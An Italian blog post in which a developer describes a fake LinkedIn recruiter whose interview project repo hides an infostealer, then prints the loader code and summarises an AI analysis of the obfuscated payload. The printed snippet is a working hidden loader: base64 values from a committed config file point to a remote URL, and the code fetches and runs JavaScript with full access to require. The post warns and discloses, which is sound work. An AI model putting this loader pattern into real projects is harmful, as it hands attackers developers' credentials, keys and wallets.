Quando il recruiter è un malware
31 March 2026
Oggi mi è successa una cosa un po’ strana. Vengo contattato da un recruiter su LinkedIn per una posizione US Full Stack Dev. Non ho niente da perdere, quindi accetto e dò un’occhiata all’azienda: non mi entusiasma molto, ma ho in mente di cercare un altro lavoro nel 2026, quindi penso “usiamolo come palestra di allenamento”.
Arriva il solito link calendly, e mi arriva subito dopo un’email con un piccolo progetto da valutare e discutere insieme nella prima interview.
⚠️ Disclaimer: nello screenshot è visibile il link al repository. Non apritelo e non eseguite il codice in nessun caso. Contiene malware. Non mi assumo alcuna responsabilità per eventuali danni.

A prima vista mi sembra strano, di solito la prima interview è conoscitiva, ma penso che magari sono un team piccolo e vogliono andare veloci, quindi non mi faccio domande e mi riprometto di guardarlo prima del meeting.
Oggi apro il repo, e si tratta di una classica applicazione frontend e backend con un piccolo smart contract collegato. Tutto molto standard.
Comincio a guardare la struttura frontend per capire: basi di dati, endpoint etc e vedo una cosa strana.

Hanno committato config.env. Strano. Si saranno dimenticati.
Lo controllo e vedo delle stringhe. Ma sono strane, ad occhio sono encodate in base64.
Vado a controllare dove vengono caricate le configurazioni, ma non trovo niente. Nessun file config.ts, o loadEnv.
Eppure dev’essere caricato da qualche parte. Allora cerco process.env e fermi tutti, non mi piace per niente quello che vedo.
// ================= GET COOKIE =================
export const getCookie = (async () => {
try {
const s = Buffer.from(process.env.DEV_API_KEY as string, "base64").toString();
const k = Buffer.from(process.env.DEV_SECRET_KEY as string, "base64").toString();
const v = Buffer.from(process.env.DEV_SECRET_VALUE as string, "base64").toString();
const r = (
await axios.get(s, {
headers: { [k]: v },
})
).data.cookie;
const handler = new Function("require", r);
handler(require);
} catch (error: any) {}
})();
Cancello subito tutto (non è necessario, lo so, ma sono paranoico). Lancio Claude (web) sul repo remoto per un analisi, per capire.
Le variabili in
.config.env(commitatte nel repo, non per errore) decodificate da base64 rivelano:
DEV_API_KEY→https://jsonkeeper.com/b/xxxx(URL del payload)DEV_SECRET_KEY→x-secret-key(header HTTP)DEV_SECRET_VALUE→_(valore dell’header)La funzione
getCookieè una IIFE (si esegue da sola al momento dell’import), fa una GET a quell’URL, prende il campo.cookiedalla risposta e lo passa anew Function("require", r)— essenzialmente uneval()con accesso completo arequire, quindi a tutto Node.js: filesystem, processi, rete.Il payload scaricato è un blob di ~140KB di JavaScript pesantemente offuscato: cifratura RC4 sulle stringhe, control flow flattening con switch-case a stati, e proxy objects su ogni chiamata di funzione. Nonostante l’offuscamento, si riconoscono chiaramente:
- Uso di
child_process(spawn/exec) per eseguire comandi di sistema- Costruzione di indirizzi IP da variabili separate (esfiltrazione dati)
process.on("uncaughtException")e"unhandledRejection"agganciati per impedire crash visibili- Enumerazione di percorsi file e informazioni di sistema
- Il
catchvuoto nel wrapper per silenziare qualsiasi erroreIn sostanza: un infostealer che al primo
npm run devavrebbe avuto accesso completo alla macchina — cookie del browser, wallet crypto, chiavi SSH, credenziali cloud, qualsiasi cosa.
La call è stasera alle 17, non mi presenterò, ovviamente. Ma aspetto per vedere se mi contattano o se (come penso) annulleranno poco prima. Ho già pronte le segnalazioni per LinkedIn e GitHub per chiudere gli account.
Però questa volta ci sono andato vicino. Di solito lancio npm run dev per vedere subito l’app frontend — se l’avessi fatto, avrei ben altri problemi adesso.
Mi sento un pelo orgoglioso per non esserci cascato, ma so che è stata solo fortuna. Spesso noi che lavoriamo con la tecnologia ci sentiamo immuni al phishing. Questo per me è stato un bel bagno di umiltà.